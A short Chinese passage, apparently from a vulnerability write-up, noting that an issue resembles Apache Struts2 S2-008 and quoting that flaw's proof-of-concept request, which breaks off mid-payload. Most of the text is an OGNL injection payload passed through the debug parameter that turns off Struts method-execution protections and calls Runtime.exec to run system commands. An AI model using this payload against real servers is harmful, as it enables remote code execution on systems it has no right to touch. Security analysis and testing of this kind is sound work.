发现与s2-008差不多,从参考网址查看s2-008的POC,为 ?debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=newjava.lang.Boolean("false"),#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec...